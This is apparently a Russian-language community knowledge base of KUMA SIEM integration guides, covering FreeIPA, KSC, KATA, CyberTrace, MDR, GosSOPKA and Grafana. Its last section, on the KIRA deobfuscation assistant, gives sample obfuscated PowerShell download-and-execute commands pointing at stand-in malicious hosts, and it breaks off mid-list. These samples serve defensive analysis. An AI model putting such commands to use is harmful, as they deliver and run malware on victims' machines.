команды Интеграция KUMA с ALD Pro и FreeIPA Интеграция является не официальной Документация по службе каталогов для Linux Astra ALD Pro: https://astra.ru/software-services/application-software-astra-group/ald-pro/#docs   Настройки выполняются по налогии со статьей: https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-active-directory-ad   При интеграции с ALD Pro важно иметь единое время на системах, настоятельно рекомендуется настроить NTP Выберите тип интеграции FreeIPA и группы для учетных записей заводите в таком виде: uid=is.ldap.usr,cn=users,cn=accounts,dc=company,dc=com  Пример настроенной интеграции: В итоге доменная аутентификация работает и пользователи появлялись с заданными правами. Для успешной аутентификации необходимо соблюдать следующие условия при входе в систему пользователю следует указывать в логине домен заглавными буквами. Пример: user@FREEIPA.COM . Также проверьте пожалуйста что у пользователя задана почта. Почта является обязательным параметром при создании учетной записи в KUMA. Выгрузка LDAP информации в словарь KUMA Предварительно нужно выполнить настройку обогащение по этой статье https://kb.kuma-community.ru/books/integracii/page/ldap-obogashhenie Инструкция для KUMA до версий 4.0 Шаг 1. Нам нужно выгрузить сопоставление, например login(sAMAccountName)-mail. Создаете словарь типа таблица (важно), ключ login, колонка mail. Добавляете одну запись любую, чтобы сохранить словарь можно было. Если нужно выгрузить другое поле, посмотрите его название по примеру вывода одной записи из обогащения: /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({"archived":false})" Шаг 2. Выбираете пользователя в KUMA, даете ему права на запрос POST /dictionaries/update, генерируете токен и записываете себе куда-нибудь (например в блокнот). Шаг 3.  На коре выполняете скрипт (нужно поставить утилиту jq): echo 'login,mail' > /tmp/accounts.csv; /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --eval 'DBQuery.shellBatchSize=; db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "_id":0})' | grep -E '^{' | jq '.sAMAccountName,.displayName'| sed 'N;s/\n/,/' | sed 's/\"//g' >> /tmp/accounts.csv; curl -k --request POST 'https://:7223/api/v1/dictionaries/update?dictionaryID=' --header 'Content-Type: multipart/form-data' --header 'Authorization: Bearer ' --form 'file=@"/tmp/accounts.csv"'; rm -rf /tmp/accounts.csv где - число записей в выводе, нужно ставить значение кол-во пользователей*1.1     /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "_id":0}).count()"  полученное число умножить на 1.1                                  Или сразу посчитать с помощью: perl -w -e "use POSIX; print ceil($(/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"displayName":1, "sAMAccountName":1, "_id":0}).count()")*1.1), qq{\n}" - ip-адрес ядра KUMA - id словаря, можно скопировать из строки браузера, если зайти в словарь - токен для доступа к API, скопированный на Шаге 2. После выполнения скрипта, в словарь запишутся логины и их электронная почта, импортированные из AD. Более продвинутый заполненный запрос c автоподсчетом : SIZE=$(perl -w -e "use POSIX; print ceil($(/opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.find({"archived":false},{"sAMAccountName":1, "mail":1, "_id":0}).count()")*1.1), qq{\n}"); echo 'login,mail' > /tmp/accounts.csv; /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --eval 'DBQuery.shellBatchSize='$SIZE'; db.accounts.find({"archived":false},{"sAMAccountName":1, "mail":1, "_id":0})' | grep -E '^{' | jq '.sAMAccountName,.mail'| sed 'N;s/\n/,/' | sed 's/\"//g' >> /tmp/accounts.csv; curl -k --request POST 'https://10.68.85.125:7223/api/v1/dictionaries/update?dictionaryID=72323930-c4fb-43c7-9360-5f8d5d929bbb' --header 'Content-Type: multipart/form-data' --header 'Authorization: Bearer 29ed4e42e25f7877c5ceb435736f860f' --form 'file=@"/tmp/accounts.csv"'; rm -rf /tmp/accounts.csv Инструкция для KUMA от версии 4.0 Воспользуйтесь скриптом из https://github.com/KUMA-Community/KUMA-sqlite-to-table   KSC: увеличение лимита экспорта событий в SIEM (Syslog/CEF) Официальная документация по настройке автоматического экспорта событий в SIEM-системы: https://support.kaspersky.ru/ksc/14.2/151333 По умолчанию KSC отдает события по Syslog не более 100 штук каждые 30 секунд. При большом количестве защищаемых устройств и/или передаваемых событий может возникнуть ситуация, когда события с KSC будут не успевать доставляться в SIEM, и  будет копиться очередь событий на отправку.  Изменить значение по экспорту событий, можно в реестре в системе с установленным Сервером администрирования. Раздел : HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\KasperskyLab\Components\34\1093\1.0.0.0\ServerFlags Флаги: KLSPLG_READ_MAX_COUNT_SF - количество событий, обрабатываемых в каждой итерации. Значение по умолчанию - 100 (в десятичной форме) KLSPLG_READ_DB_PERIOD_SF - скорость итерации в миллисекундах. По умолчанию 30000 (в десятичной форме). Подходить к изменению значений по умолчанию нужно с осторожностью. Изменения скорости могут повлиять на общую производительность системы. Рекомендуется постепенно увеличивать значения, внимательно следя как за KSC, так и за его СУБД. Создание TAA-алертов в KUMA с KATA Введение При отправке событий из KATA в KUMA есть известная проблема: KATA отправляет сообщение о TAA-сработке только при первой сработке на хосте, а само Syslog сообщение не содержит достаточной информации. События из телеметрии KEDR в свою очередь не содержат идентификатора алерта в KATA в связи с чем отсутствует возможность создания ссылки на карточку алерта в KATA.  В этой статье представлен вариант решения этой проблемы, который позволяет создавать алерт в KUMA идентичный TAA-алерту в KATA, со всеми связанными событиями телеметрии. Требования Для работы метода требуется установленная KUMA версии 2.1 или выше, а также KATA версии 5.0 или выше. На KUMA должна быть настроены коллекторы для приема Syslog сообщений от KATA И телеметрии от KEDR . Информацию по настройке данных источников можно найти в соответствующих статьях (ссылки приведены для последних версий). Оба коллектора должны отправлять события в коррелятор. Реализация 1. Загрузить пакет ресурсов по ссылке: https://github.com/KUMA-Community/kuma_taa_alert   2. Импортировать все ресурсы из пакета в KUMA. 3. Перейти в Коррелятор, перейти на шаг Корреляция и привязать правила корреляции D007 и D008 4. Перейти на шаг Проверка параметров и обновить параметры сервиса коррелятора 5. Перейти в веб-интферфейсе в Параметры -> Алерты -> Сегментация и нажать Добавить параметры для нового тенанта (если в KUMA не настроены никакие правила сегментации), либо нажать на соответствующий тенант в списке (если в KUMA уже настроены какие-либо правила сегментации). 6. Создайте связь правила корреляции и правила сегментации как на рисунке ниже: 7. Сохраните все внесенные изменения. На этом настройка завершена. Результат В результате проделанных манипуляций в KUMA на каждую TAA сработку будет возводиться алерт, в который согласно правилу сегментации будут добавляться все события телеметрии связанные с данной сработкой. Сам алерт будет содержать ID алерта KATA, ссылку на алерт KATA (для этого необходимо на коллекторе для сбора Syslog с KATA добавить обогащение [OOTB] KATA alert ), а также связанные события телеметрии от KEDR. Ниже представлен скриншот алерта в KUMA А также соответствующий алерт в KATA И связанные с ним события телеметрии Ретроспективная проверка IoC с помощью KUMA и CyberTrace Введение Описанный ниже сценарий применим для версии CyberTrace 4.4 и выше. Ресурсы, поставляемые для данного сценария в KUMA применимы к версии 3.2 и выше, но могут быть сделаны аналогичные для версий 2.1+ . В данном сценарии рассматривается автоматизация ретроспективной проверки по IoC с использованием интеграции KUMA и CyberTrace. Сценарий позволяет: 1. По расписанию выполнять ретроспективную проверку на стороне CyberTrace 2. Получать событие в KUMA по результатам ретроспективной проверки 3. Создавать коррреляционное событие и алерт на основании такого события, а также добавлять в корреляционное событие кликабельную ссылку на исходное событие, на которое сработал ретроскан. Настройка CyberTrace Подключитесь к CyberTrace от имени пользователя с правами администратора. Настройка получения и отправки событий Перейдите в раздел Settings - General. В графе Incoming events  выберите IP address and port , в поле IP address укажие адрес CyberTrace, на котором он будет принимать индикаторы от KUMA (запись 0.0.0.0 означает, что CyberTrace будет принимать соединения на всех адресах), а в поле  Port задайте порт, на котором CyberTrace будет принимать индикаторы. В графе Detection alerts в поле IP address укажите адрес коллектора KUMA, а в графе Port - порт коллектора KUMA. По завершении настройки нажмите кнопку Save внизу экрана. Настройка ретроспективной проверки Перейдите в раздел  Settings - Restroscan Включите ретроскан ползунком Enabled . На вкладка General settings задайте необходимые настройки регулярности ретроспективной проверки и другие параметры. Находясь в том же разделе, перейдите на вкладку Feeds  и включите необходимые фиды для ретроспективной проверки. Находясь в том же разделе, перейдите на вкладку Regular expressions и выберите RE_CONTEXT (обязательно в данном сценарии), а также те индикаторы, по которым планируется ретроспективная проверка. По окончании настройки нажмите кнопку Save . Настройка формата событий Перейдите в раздел  Settings - Detection alerts Заполните Alert format , как показано в примере. Category=%Category%|MatchedIndicator=%MatchedIndicator%%RecordContext%|KUMA_event_id=%RE_CONTEXT%|KUMA_event_date=%EventReceivedDate%|outcome=%Retroscan% Выберите вверху Context и заполните  Actionable fields , как в примере ниже. "%ParamName%":"%ParamValue%" Пролистайте в самый низ страницы и нажмите кнопку Save . Настройки для Service alerts можете оставить по умолчанию или изменить по своему усмотрению. В данном сценарии рассматривается и требуется взаимодействие только с Detection alerts . Настройка KUMA 1. Скачайте набор ресурсов (нормализатор и правило корреляции) по ссылке и импортируйте в KUMA. Настройка обогащения Важно! Обогащение должно выполняться именно методом cybertrace . Метод cybertarce-http не применим в данном случае, т.к. в CyberTrace до 5.0 версии включительно обогащение по API не доступно для ретроспективной проверки и отображения в детектах. 1. Настройте обогащение на коллекторах, где это требуется по инструкции из соответствующего  раздела . Настройка коллектора 1. На шаге  Транспорт  укажите тип и порт в соответствии с настройками на стороне CyberTrace . 2. На шаге  Парсинг  событий выберите нормализатор [DEMO] CyberTrace . 3. На шаге  Маршрутизация  проверьте, что в набор ресурсов коллектора добавлены следующие точки назначения: - Хранилище . Для отправки обработанных событий в хранилище. - Коррелятор . Для отправки обработанных событий в коррелятор. Если точки назначения  Хранилище  и  Коррелятор  не добавлены, создайте их. 4. На шаге  Проверка параметров  нажмите  Сохранить и создать сервис . 5. Скопируйте появившуюся команду для установки коллектора KUMA. Настройка корреляции 1. Откройте на редактирование правило корреляции D016;CyberTrace;IoC Matched By Retroscan (или D016;CyberTrace;Обнаружение IoC в ходе ретроспективной проверки ) 2. Перейдите в Селекторы - Локальные переменные 3. Отредактируйте значение переменной core подставив свой FQDN или IP-адрес ядра Важно! FQDN для данного сценария не должен превышать 18 символов! В случае более длинного FQDN следует использовать IP-адрес. Пояснение ограничения Ссылка на событие KUMA (переменная url ), которая будет помещена в корреляционное событие, находится в поле DeviceExternalID . Максимальная длина данных в этом поле 255 символов. Пустой запрос без FQDN содержит 237 символов, что дает возможность указать FQDN меньше или равным 18 символам. При необходимости, можно изменить мапинг ссылки на событие на другое поле, например, Message. Но в таком случае ссылка будет "не кликабельная" и нужно будет копировать ее из события и вставлять в строку браузера. 4. Сохраните правило корреляции. 5. Привяжите к коррелятору правило корреляции D016;CyberTrace;IoC Matched By Retroscan 6. Обновите параметры сервиса коррелятора. Результат В результате по обнаружению в результате ретроспективного скнаирования в KUMA будет отправлено соответствующее обнаружение. На основании данного обнаружения с помощью правила корреляции будет возведен алерт, в котором в поле DeviceExternalID будет доступна ссылка на событие KUMA, в котором было обнаружено совпадение. При нажатии на ссылку откроется окно с событиями с подготовленным поиском и временным окном. Для отображения события требуется только нажать на кнопку Выполнить запрос. В результате отобразится событие KUMA, в котором с помощью ретроскана CyberTrace было найдено совпадение по индикатору. Интеграция с Kaspersky MDR Информация, приведённая на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора. Интеграция с Kaspersky MDR Описание интеграции Интеграция с Kaspersky Managed Detection and Response позволяет автоматически импортировать инциденты из консоли MDR в KUMA. Скрипт периодически опрашивает API MDR, получает новые инциденты и создаёт соответствующие инциденты в KUMA через API. Предварительные требования 1. Сетевой доступ На пограничном межсетевом экране создайте правило, разрешающее доступ к mdr.kaspersky.com по порту TCP/443 . 2. Настройка пользователя и токена в KUMA В KUMA добавьте пользователя с ролью Младший аналитик , сгенерируйте токен для взаимодействия по API и разрешите доступ к следующим методам API: POST /events POST /incidents/create POST /incidents/comment POST /incidents/close 3. Генерация токена в консоли MDR Перейдите в Параметры → API . Нажмите Добавить и укажите Имя соединения . Это имя будет отображаться как имя пользователя при создании инцидентов, комментариев и вложений, поскольку токен доступа не привязан к конкретному пользователю. В поле Роль пользователя выберите роль Администратор MDR . В поле Тенант выберите тенант, инциденты которого необходимо импортировать в KUMA. Если для инцидентов, создаваемых в консоли MDR, в поле Тенант отсутствует значение — укажите в поле Тенант значение «Корень без тенанта», иначе скрипт не обнаружит эти инциденты. Нажмите Создать . В результате вы получите: JWT Token (он же refresh_token ) — это первичный токен со сроком действия 24 часа. Данный токен требуется активировать, чтобы получить новую пару refresh_token / access_token . ClientID — идентификатор клиента, который необходимо указывать при каждом запросе к API MDR. Сохраните оба значения — они потребуются на этапе настройки. 4. Загрузка репозитория Скачайте содержимое репозитория MDR-integrations. В качестве альтернативы можно: Загрузить только папку mdr_integration через сервис https://download-directory.github.io/ Клонировать репозиторий напрямую на сервер KUMA: git clone https://github.com/KUMA-Community/MDR-integrations.git 5. Получение цепочки сертификатов Загрузите актуальную цепочку сертификатов для mdr.kaspersky.com в формате PEM. Для этого: Откройте https://mdr.kaspersky.com в браузере. Просмотрите информацию о сертификате и экспортируйте все сертификаты цепочки (как правило, 2–3 файла). 4. Объедините их в один файл командой: cat "DigiCert Global G2 TLS RSA SHA256 2020 CA1.crt" "DigiCert Global Root G2.crt" "_.mdr.kaspersky.crt" > mdr.pem Полученный файл mdr.pem потребуется на этапе настройки. Настройка Шаг 1. Размещение файлов на сервере Скопируйте архив MDR-integrations-main.zip на сервер (при распределённой инсталляции — на сервер Core) и распакуйте его в папку /opt : unzip MDR-integrations-main.zip -d /opt/ Уберите лишний уровень вложенности: mv /opt/MDR-integrations-main/mdr_integration /opt/ rm -rf /opt/MDR-integrations-main Шаг 2. Создание файла конфигурации Перейдите в папку с конфигурацией и создайте файл config.yml из шаблона: cd /opt/mdr_integration/conf cp sample_config.yml config.yml Отредактируйте файл config.yml : В секции General settings укажите client_id (значение ClientID из консоли MDR). В секции Modules settings → kuma укажите: api_url — FQDN или IP-адрес с портом API KUMA (по умолчанию порт 7223 ). api_token — токен, сгенерированный при создании учётной записи пользователя KUMA. tenant_id — идентификатор тенанта KUMA, в котором будут создаваться инциденты. **tenant_id можно получить из события аудита KUMA. Шаг 3. Настройка токенов Скрипт использует два файла токенов: .refresh_token — заполняется вручную один раз. Это JWT Token , полученный в консоли MDR на этапе предварительных требований. .access_token — заполнять вручную не нужно . При запуске скрипт автоматически обменивает refresh_token на пару access_token + обновлённый refresh_token через MDR API и записывает их в файлы. В дальнейшем фоновый процесс TokenUpdater проверяет и обновляет токены каждые 10 минут. Создайте оба файла ( .access_token должен быть пустым): touch /opt/mdr_integration/conf/.refresh_token touch /opt/mdr_integration/conf/.access_token Запишите JWT Token из консоли MDR в файл .refresh_token : echo -n 'ВСТАВЬТЕ_ТОКЕН_ЗДЕСЬ' > /opt/mdr_integration/conf/.refresh_token Важно: В конце файла не должно быть символа новой строки ( \n ) — иначе аутентификация завершится ошибкой. Флаг -n в команде echo предотвращает его добавление. Если вы вставили токен вручную, проверьте и при необходимости удалите символ новой строки: # Проверяем наличие символа новой строки (результат "1" означает, что он есть) wc -l /opt/mdr_integration/conf/.refresh_token # Если вывод "1 .refresh_token" — удаляем символ perl -p -i -e 'chomp if eof' /opt/mdr_integration/conf/.refresh_token # Проверяем повторно (должен быть вывод "0 .refresh_token") wc -l /opt/mdr_integration/conf/.refresh_token Шаг 4. Указание начальной точки сбора инцидентов В файле .last_check укажите момент времени, начиная с которого нужно собирать инциденты. Значение задаётся в миллисекундах (Unix timestamp × 1000, 13 цифр). Для получения нужного значения используйте команду: # Пример: получить timestamp для 1 января 2024 00:00:00 date -d "2024-01-01 00:00:00" +%s000 Запишите полученное значение в файл: echo -n '1704060000000' > /opt/mdr_integration/conf/.last_check Для тестирования укажите время, незадолго до появления последнего инцидента в MDR. Шаг 5. Обновление сертификата Замените файл сертификата по умолчанию на актуальный, подготовленный в разделе Предварительные требования : cp /path/to/mdr.pem /opt/mdr_integration/conf/mdr.pem Шаг 6. Создание папки data Создайте папку data : mkdir /opt/mdr_integration/data В папку data в отдельный JSON-файл записывается каждое обновление (новый инцидент, комментарий, вложение) на MDR-портале. Шаг 7. Проверка работоспособности Перейдите в папку со скриптом и запустите его: cd /opt/mdr_integration python3 ./main.py Если при запуске скрипта в консоли отсутствую ошибки (кроме предупреждений о невалидном сертификате), значит интеграция работает корректно. Лог работы скрипта записывается в: /opt/mdr_integration/log/app.log Убедитесь, что инциденты из консоли MDR, созданные начиная с момента, указанного в .last_check , появились в KUMA. После проверки остановите скрипт ( Ctrl+C ). Шаг 7. Запуск в фоновом режиме Запустите скрипт в фоне: nohup python3 /opt/mdr_integration/main.py & Шаг 8. Автозапуск после перезагрузки Настройте автоматический запуск скрипта через cron: sudo crontab -e Добавьте строку: @reboot sleep 300 && python3 /opt/mdr_integration/main.py & Задержка sleep 300 (5 минут) необходима, чтобы сервис kuma-core успел запуститься до начала работы скрипта. Интеграция с ГосСОПКА Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ  является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/3.2/ru-RU/221777.htm Настройка интерации Для возможности отправки инцидентов в ГосСОПКА должна быть выполнена настройка, в разделе Параметры - НКЦКИ нужно указать параметры подключения: Укажите URL, по которому доступен НКЦКИ. Токен, который был выдан Заказчику для подключения к НКЦКИ. Далее укажите сферу деятельности, местоположение и название компании. Значение токена сохраняется в Секркте в KUMA: Работа с инцидентом После настройки взаимодействие с НКЦКИ и работа с инцидентом выполняется в разделе Инциденты . Для нового инцидента должны быть заполнены минимально необходимые поля : категория инцидента; тип инцидента; описание инцидента. Описание взаимодействия с НКЦКИ в онлайн-справке: https://support.kaspersky.com/KUMA/2.1/ru-RU/221855.htm   После нажатия кнопки Экспорт открывается вкладка для заполнения карточки инцидента в формате, который требует НКЦКИ. При необходимости может быть выбран чек-бокс «Затронутая система имеет подключение к Интернету», это подразумевает заполнение дополнительных сведений на вкладке Технические данные. Вкладки Технические данные и Дополнительно не обязательно заполнять для запуска экспорта, но информация будет запрошена со стороны ГосСОПКА позже. Вся информация отображается в ЛК Заказчика. При этом в связи с особенностями работы портала перейти из интерфейса KUMA сразу в нужный инцидент в ГосСОПКА нельзя, придется искать в списке всех инцидентов.  В интерфейсе KUMA можно отслеживать статус  инцидента и изменения содержимого (если изменения были выполнены на портале, а не из KUMA). При получении обратной связи статус инцидента изменяется, при необходимости инцидент можно дополнить данными Есть чат с НКЦКИ (не онлайн, примерно раз в 10 минут – особенности на стороне НКЦКИ).  Есть возможность оповещений по почте о необходимости доработки инцидента. Монтирование папки в KUMA С версии KUMA 3.2 агент для Windows имеет возможность читать логи из файлов на ОС Windows. Таким образом, для некоторых случаев целесообразно использовать агентов для чтения логов локально без монтирования директорий. Для сетевой шары используйте unc-путь вида: //server_ip_name/share Для чтения файла логов коллектором KUMA необходимо примонтировать папку содержащую логи, например, DHCP сервера на сервер коллектора KUMA. Для начала необходимо установить утилиту  cifs , если она еще не установлена. yum install -y cifs-utils Далее необходимо создать файл с учетными данными пользователя для доступа к общей папке  /root/.dhcp-secret со следующим содержимым: username=<имя пользователя с правами на чтение папки> password=<пароль пользователя> domain=<домен, в случае доменного пользователя> Далее нужно создать папку на сервере коллектора KUMA, куда будет примонтирована папка с логами DNS сервера. mkdir /mnt/dhcp Далее в конец файла /etc/fstab необходимо добавить строку \\<путь к общей папке сервера> <путь монтирования> cifs credentials=<файл с учетными данными>,cache=none 0 0 Пример: \\dc-01.sales.lab\dhcp /mnt/dhcp cifs credentials=/root/.dhcp-secret,cache=none 0 0 Далее необходимо примонтировать общую папку командой: mount -a Для проверки успешности монтирования можно выполнить следующую команду: ls /mnt/dhcp В выводе консоли должны присутствовать файлы логов DHCP сервера с правами на чтение для всех пользователей Далее создание файлового коллектора и создание службы в KUMA аналогии с этой статьей. Интеграция Grafana c событиями в KUMA Интеграция является не официальной (не поддерживается) Подключение по API KUMA Для возможности обращения в KUMA предварительно необходимо создать пользователя с необходимыми правами (на этом же этапе задаём необходимую роль\тенанты), переходим в KUMA – Access – Выбираем доменного пользователя, либо создаём локального. Выбрать пользователя и переходим к Using KUMA via API, нажимаем Generate token и задаём время действия токена (в примере выбираем No expiration date). Выбрать права для токена,  затем нажать Generate: Система выдаст токен которым мы воспользуемся при создании Data source в Grafana. Переходим в Grafana. Устанавливаем плагин Infinity: Переходим в Data sources и создаём новый. Ищем Infinity и создаём в формате как указано на скриншоте. Задаём ключевые параметры – адрес, токен (созданный на этапе 1). В Network  выбираем "Skip TLS Verify": Нажимаем Save & test, в случае успешного подключения получаем уведомление. Дашборды и визуализация Рассмотрим два примера дашбордов. 1-й с задаваемым уникальным запросом, 2-й со статичным запросом для построения дашбордов и вывода статистики. Создаём дашборд Home – Dashboard – New – New Dashboard. И переходим в Dashboard Settings. Далее Settings – Variables, мы задаём глобальную переменную на уровне дашборда. И задаём следующие параметры: Нажимаем "Apply". Окно для запроса появится в верхнем левом углу с дефолтным значением (его можно не задавать). Делаем базовый шаблон Создаём панель и переходим ниже в раздел Query, выбираем Data source – Infinity. далее URL options и задаём Body Type (как на скриншоте): Берём пример с API и модифицируем под нашу задачу: { "period": {   "from": "2025-09-06T00:00:00Z",   "to": "2025-09-06T00:10:00Z" }, "emptyFields": true, "rawTimestamps": true, "sql": "SELECT count(Timestamp) as TotalEvents FROM events LIMIT 1" } Нам нужно забирать время с дашборда Grafana и запрос берем также с переменной: { "period": {   "from": "${__from:date:iso}",   "to": "${__to:date:iso}" }, "emptyFields": true, "rawTimestamps": true, "sql": "${sqlQuery:raw}" } Сохраняем – проверяем: Далее создадим более дашборд с вшитым запросом. Допустим это будет статистика неуспешных авторизаций. В теле будет: { "period": {   "from": "${__from:date:iso}",   "to": "${__to:date:iso}" }, "emptyFields": true, "rawTimestamps": true, "sql": "SELECT count(ID) AS `Количество обращений`, DestinationAddress, DestinationCountry AS `Страна` FROM `events` WHERE EventOutcome = 'failed' AND DeviceEventClassID = 'USER_AUTH' GROUP BY DestinationAddress, DestinationCountry ORDER BY count(ID) DESC LIMIT 250" } И вывод: Метод подключения напрямую в ClickHouse Не проверялось на версиях KUMA 4+ Скачиваем и устанавливаем плагин: Далее настраиваем в Connections (в старых версиях: Home - Administration - Data sources) по этому плагину: Предварительно проверьте доступ к порту 8123, если доступа нет, обеспечьте его, например, проборосом портов. URL: https://10.68.85.126:8123?allowMultiQueries=true    (можете также указать хостнейм, в случае иcпользования плагина Altinity ) Копируем содержимое ключевой информации в нужные секции: Они берутся из хранилища по путям: для версий KUMA до 4 /opt/kaspersky/kuma/clickhouse/certificates/cert.pem /opt/kaspersky/kuma/clickhouse/certificates/key.pem для версий KUMA 4+ /opt/kaspersky/kuma/storage//certificates/internal.cert /opt/kaspersky/kuma/storage//certificates/internal.key Затем внизу нажимаем на кнопку  Save & Test . При корректности настроек и сетевых доступов должны получить следующее: Создаем дашборд со своими панелями (виджетами), пример: Пример запроса: SELECT  count(ID), DestinationUserName FROM kuma.events_local_v2 WHERE $__timeFilter_ms(Timestamp) AND DeviceEventClassID='4624'GROUP BY DestinationUserName Переменная  $__timeFilter_ms(Timestamp) обеспечивает проброс промежутка времени из графаны в запрос: Чтобы поменять тип отображения можно выбрать другое представление тут: Сохраняем и применяем панель/представление, далее подобным образом можно создать другие панели. Интеграция Grafana c VictoriaMetrics (Prometheus) в KUMA Интеграция является не официальной (не поддерживается) Интеграция возможна для версий KUMA до 4.0 Для начала нам понадобится сетевой доступ к локальной Victoria Metrics, находящейся на Core. Для этого понадобится простой reverse-proxy (есть также и другие способы), в нашем случае мы будем слушать порт 1777, пример конфига для nginx: server {    listen   1777;    server_name victoriametrics.kuma.local;    location / {            proxy_set_header X-Real-IP  $remote_addr;            proxy_set_header X-Forwarded-For $remote_addr;            proxy_set_header Host $host;            proxy_pass http://127.0.0.1:9090;    } } И рестартуем nginx. Далее идём в нашу Grafana и добавляем соединение Prometheus (как на скриншоте): Заполняем основные поля Name и URL и сохраняем: Основная часть интеграции готова, теперь при построении дашборда мы можем использовать метрики KUMA, пример на скриншоте. AI Скоринг активов Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/help/KUMA/3.4/ru-RU/292784.htm   Описание AI-сервис позволяет уточнить критичность корреляционных событий, сгенерированных в результате срабатывания правил корреляции.  AI-сервис получает из доступных кластеров хранения корреляционные события, содержащие непустое поле Affected assets, выстраивает ожидаемую последовательность событий и обучает модель AI. На основании цепочки срабатываний корреляционных правил AI-сервис высчитывает, является ли такая последовательность срабатываний характерной в этой инфраструктуре. Нехарактерные паттерны повышают рейтинг актива. По результатам расчетов AI-сервиса в карточке активов становится доступным для просмотра Рейтинг AI и Статус. Рейтинг – это число, которое отражает степень нетипичной активности на активе, на которую стоит обратить внимание. Доступные значения поля Статус: Low, Medium, High, Critical. После каждого перезапуска AI-сервиса, AI-сервис заново обучает модель и выполняет переоценку рейтинга активов, указанных в событиях за сегодня. Активы со скорингом выглядят следующим образом: В директории, указанной в конфигурационном файле, хранятся события, которые AI-сервис получил из кластеров хранения KUMA за указанное количество дней. Например, если в конфигурационном файле указано 12 дней (period_for_train_days), AI-сервис будет получать события за последние 12 дней. Самые давние события удаляются из директории. В этой же директории будет храниться обученная модель. Переобучение модели происходит в полночь по UTC. Переоценка рейтинга активов происходит раз в час для всех активов, которые были в событиях за сегодня по UTC. Если лицензию удалить, поля Рейтинг AI и Статус будут скрыты из карточки актива. Если лицензию снова добавить, значения полей Рейтинг AI и Статус снова будут отображаться.  Журналы сервиса хранятся в /var/log/syslog. Установка Скачайте архив: ссылка . Архив содержит скрипты для установки и удаления сервиса, а также конфигурационный файл  config.yaml . В конфигурационном файле config.yaml укажите порт, по которому хост Ядра будет ожидать подключения от AI-сервиса. Например, в установке в отказоустойчивой конфигурации должен быть указан порт 7226. Для остальных параметров можно оставить значения по умолчанию. В веб-интерфейсе KUMA скачайте AI service certificate   (в меню пользователя) и поместите его в roles/mlservice/files Перейдите в директорию с файлами сервиса и из этой папки выполните команду:   bash ./install <путь к ИНВЕНТОРИ.yaml> По умолчанию сервис устанавливается на хост с Ядром. Если вы хотите установить сервис на другой хост, укажите в  конфигурационном файле : ядра KUMA в kuma_address и убедитесь в наличии сетевого доступа. Установщик генерирует необходимые сертификат и ключ в процессе установки и помещает их в  директории, указанные в конфигурационном файле, по умолчанию: /opt/kaspersky/mlservice/ . Сертификат необходимо загрузить в KUMA. В веб-интерфейсе KUMA в разделе (появляется при наличии лицензии AI) Параметры – AI-сервис во вкладке AI рейтинг и статус активов заполните следующие поля: В поле URL укажите адрес и номер порта , по которому Ядро будет ожидать подключения от AI-сервиса. Например, :7226 (означает поднять порт на ядре 0.0.0.0:7226). Номер порта должен соответствовать указанному в конфигурационном файле. В поле Сертификат в раскрывающемся списке выберите Создать и в открывшемся окне Создание сертификата укажите тип сертификата Certificate и загрузите сертификат из директории, указанной в конфигурационном файле, по умолчанию /opt/kaspersky/mlservice/service.crt . Сразу после установки сервис будет пытаться в течение 15 минут подключиться к KUMA с интервалом в 1 минуту. Если сертификат не добавлен в веб-интерфейсе KUMA, подключение не будет выполнено и сервис остановится. В таком случае можно добавить сертификат и перезапустить ( systemctl restart mlservice.service ) AI-сервис, сервис опять попробует подключиться. AI-сервис установлен. Работа с KIRA и примеры использования (юзкейсы) Видео по работе KIRA и преимущества - https://box.kaspersky.com/f/48a6de7a26044d9ea60c/   Kaspersky Investigation and Response Assistant предоставляет аналитикам инструменты для оперативного декодирования и деобфускации строк выполнения, извлечённых из событий безопасности в режиме реального времени. Данное решение оптимизирует процесс приоритизации инцидентов, сокращая время на анализ сложных данных, и снижает квалификационные требования для аналитиков первого уровня, что повышает общую эффективность системы реагирования на инциденты. Ключевые преимущества: Ускорение цикла принятия решений; Снижение зависимости от высокой экспертизы сотрудников; Повышение точности ранжирования алертов. Как пользоваться Перейдите из сработки алерта во все его события по кнопке Найти в событиях Далее, либо в корреляционном событии, либо в базовом на интеремующем поле нажать на "три точки" и затем проанализировать: Возможность редактирования запроса перед отправкой в KIRA обеспечивает дополнительный уровень контроля над конфиденциальностью данных. Это особенно важно в случаях, когда анализируемые строки кода содержат чувствительную информацию, такую как персональные данные, учетные записи или ключи доступа. По кнопке Действия можно посмотреть отчет о деобфускации: Примеры команд Команды не рабочие все ссылки заменены, но это не отменяет перепроверку и аккуратность использования Простая обфускация с использованием строк $e=([char]0x68+[char]0x65+[char]0x6C+[char]0x6C+[char]0x6F);iex $e Использование Base64 для кодирования powershell.exe -Command "$s = [Sy\u0073tem.Text.En\u0063oding]::ASCII.GetString([Sy\u0073tem.Convert]::FromBase64String('aHR0cHM6Ly9tYWwwd2FyZS5ydS9wYXlsb2FkX3NvbWU=')); iwr $s -UseBasicParsing | iex" Использование Base64 для кодирования с праметрами запуска PS powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2FiYzkxMXRlc3RLSVJBbGluay5jb20vZC9iYWNrZG9vcjEyMy5leGU=')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe" Использование строковых манипуляций для скрытия команды $cmd = 'powershell.exe -nop -w hidden -e ' + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Invoke-WebRequest "http://evil-some.com/malicious123.exe" -OutFile "malicious.exe"; Start-Process "malicious.exe"'))) iex ($cmd) Использование альтернативных имен для 